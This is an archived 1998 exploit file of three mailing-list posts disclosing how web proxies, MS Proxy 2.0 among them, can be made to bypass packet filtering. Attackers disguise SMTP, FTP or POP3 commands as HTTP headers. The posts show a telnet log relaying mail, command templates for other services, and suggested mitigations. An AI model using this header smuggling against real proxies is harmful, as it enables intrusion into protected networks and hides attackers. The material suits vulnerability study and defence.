msproxy2.0.exploit.txt

`Date: Wed, 7 Oct 1998 07:10:49 +0100  
From: Mnemonix <[email protected]>  
To: [email protected]  
Subject: WARNING: By-passing MS Proxy packet filtering  
  
[ The following text is in the "ISO-8859-1" character set. ]  
[ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]  
  
Whilst playing around with Microsoft's Proxy Server 2, I came across an  
interesting "feature" that could allow someone to by-pass packet filtering  
if enabled.  
The essence of the "exploit" is to connect to a remote host on a given port  
- in the example provided I have used the SMTP port (25) - through the Web  
Proxy Service.  
What you attempt to do is disguise service-specific commands as HTTP  
headers. Below is a log of a telnet session where I've telnetted to the Web  
Proxy Service, made a GET request and passed off the SMTP commands as HTTP  
headers :  
  
------------------------------------------8<--------------------------------  
----------  
GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0  
mail from: [email protected]  
rcpt to: [email protected]  
data :  
Subject: This is the Subject Line  
:  
This is the body of the message. To get here do a Ctrl+J. To place a  
single dot on a line do another Ctrl+J  
.  
  
220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100  
500 Command unrecognized  
500 Command unrecognized  
500 Command unrecognized  
250 <[email protected]> is syntactically correct  
250 <[email protected]> is syntactically correct  
354 Enter message, ending with "." on a line by itself  
250 OK id=0zQmVd-0007md-00  
500 Command unrecognized  
500 Command unrecognized  
  
------------------------------------------8<--------------------------------  
---------  
  
If the packet filter only allows incoming HTTP requests and the Web-Proxy  
Service gives Everybody access this could be used to gain entry to the  
"protected" network.  
This was tested on NT Server 4.0, Service Pack 3 with important hotfixes,  
IIS 3.0 and MS Proxy 2.0  
  
l8r  
Mnemonix  
http://www.diligence.co.uk/  
http://www.infowar.co.uk/mnemonix  
  
-------------------------------------------------------------------------------------------  
  
Date: Thu, 8 Oct 1998 08:27:36 +0100  
From: Mnemonix <[email protected]>  
To: [email protected]  
Subject: By-passing MS Proxy 2.0 and others packet filtering  
  
[ The following text is in the "ISO-8859-1" character set. ]  
[ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]  
  
Okay - to make everything more clear  
  
  
  
Firstly it seems that most web-based proxies, not just MS Proxy, are  
susceptible to this kind of attack. Thanks to Greg Jones and others for  
doing some testing on this.  
  
> Whilst playing around with Microsoft's Proxy Server 2, I came across an  
> interesting "feature" that could allow someone to by-pass packet  
filtering  
> if enabled.  
> The essence of the "exploit" is to connect to a remote host on a given  
port  
> - in the example provided I have used the SMTP port (25) - through the  
Web  
> Proxy Service.  
  
The Web-proxy is listening on TCP port 80. I telnet to port 80 and make an  
HTTP request.  
  
> What you attempt to do is disguise service-specific commands as HTTP  
> headers. Below is a log of a telnet session where I've telnetted to the  
Web  
> Proxy Service, made a GET request and passed off the SMTP commands as  
HTTP  
> headers :  
>  
>  
------------------------------------------8<--------------------------------  
  
> ----------  
> GET http://smtpmail.globalnet.co.uk:25/ HTTP/1.0  
> mail from: [email protected]  
> rcpt to: [email protected]  
> data :  
> Subject: This is the Subject Line  
> :  
> This is the body of the message. To get here do a Ctrl+J. To place a  
> single dot on a line do another Ctrl+J  
> .  
>  
> 220 sand2.global.net.uk ESMTP Exim 1.92 #1 Wed, 7 Oct 1998 06:51:37 +0100  
> 500 Command unrecognized  
> 500 Command unrecognized  
> 500 Command unrecognized  
> 250 <[email protected]> is syntactically correct  
> 250 <[email protected]> is syntactically correct  
> 354 Enter message, ending with "." on a line by itself  
> 250 OK id=0zQmVd-0007md-00  
> 500 Command unrecognized  
> 500 Command unrecognized  
>  
>  
------------------------------------------8<--------------------------------  
  
> ---------  
  
  
What is happening here is that the proxy interprets everything with line or  
continuous string with a ":" (colon) as a header and so passes it on to the  
final destination. The proxy server also adds some of its own HTTP headers  
such as "Via: proxy_name", "Host: final_destination", "Connection:  
Keep-Alive" as well as the orignal "GET / HTTP/1.0" (This is why you get  
some "Command Unrecognised"s.  
  
For a service like FTP or POP3 you can string all the commands together  
like so:  
  
GET http://some.server:21_or_110/ HTTP/1.0  
:(CTRL+J)  
user whoever(CTRL+J)  
pass whatever(CTRL+J)  
stat(CTRL+J)  
etc = etc and finish with ENTER.  
  
  
  
  
Note- everything is stored up and then on you pressing enter twice it is  
sent to the target in a oner - the target buffers the headers and deals  
with them sequentially. Some it understands - eg your stealthed-as-HTTP  
headers and others it doesn't eg the real HTTP proxy headers.  
  
Okay - that's the how - now what can be done with it?  
  
Depending on the configuration of the proxy server it may allow external  
attackers to come in off the internet and access services or machines  
through a packet filter that ONLY allows incoming requests on port 80. Once  
you are onto the proxy server requests are passed off the internal  
interface to machines inside your "protected" LAN - making it as though the  
packet filter was not there.  
  
In publicly acessible proxies - attacks can be launched against other  
machines across the Internet and to a certain degree hide the attacker's  
own IP address on the target machine.  
  
This method of attack can be used to by-pass IP address trust (or distrust)  
mechanisms as well as to exploit with r* unix daemons.  
  
There are many ways this can be exploited - too many to list in detail -  
(I've got to go to work now ;-) but because of this I'd suggest as a  
solution something like the following:  
  
Rather than relying on the Admin to configure the proxy properly would it  
not be safer to get the proxy to filter out unkown headers. For example  
most browsers will specify a "User-Agent:" header - the proxy should pass  
this through - but it should remove a non-standard "HTTP" header like "mail  
>from: [email protected]" - since when do browsers use this as an HTTP header -  
other than when used for subversive activities. There should also be a  
mechanism where it will strip out headers containing the hex value \x08  
(CTRL+J) - because you could do this :  
  
User-Agent: Mozilla/2.0(CTRL+J)  
Command 1(CTRL+J)  
Command 2(CTRL+J)  
Command 3(CTRL+J)  
etc etc  
  
  
> This was tested on NT Server 4.0, Service Pack 3 with important hotfixes,  
> IIS 3.0 and MS Proxy 2.0  
  
Originally - but as was stated other web-pased proxies are also  
susceptible.  
  
Cheers and l8r  
  
Mnemonix  
http://www.diligence.co.uk/  
http://www.infowar.co.uk/mnemonix  
  
  
-----------------------------------------------------------------------------  
  
Date: Wed, 7 Oct 1998 07:39:03 +0100  
From: Mnemonix <[email protected]>  
To: [email protected]  
Subject: Follow up: By-passing MS-Proxy 2.0 packet filtering  
  
[ The following text is in the "ISO-8859-1" character set. ]  
[ Your display is set for the "US-ASCII" character set. Some characters may be displayed incorrectly. ]  
  
Added to what information was supplied earlier you can issue the relevant  
commands with a single ":" and string each command together with CTRL+Js  
  
eg  
  
GET http://some.ftpserver.com:21/ HTTP/1.0  
:  
(CTRL+J)user anonymous  
(CTRL+J)pass [email protected]  
(CTRL+J)cwd ~root(ENTER)(ENTER)  
  
etc etc  
This is esp. useful for service specific commands that won't take a ":"  
  
l8r  
Mnemonix  
http://www.diligence.co.uk/  
http://www.infowar.co.uk/mnemonix  
  
  
`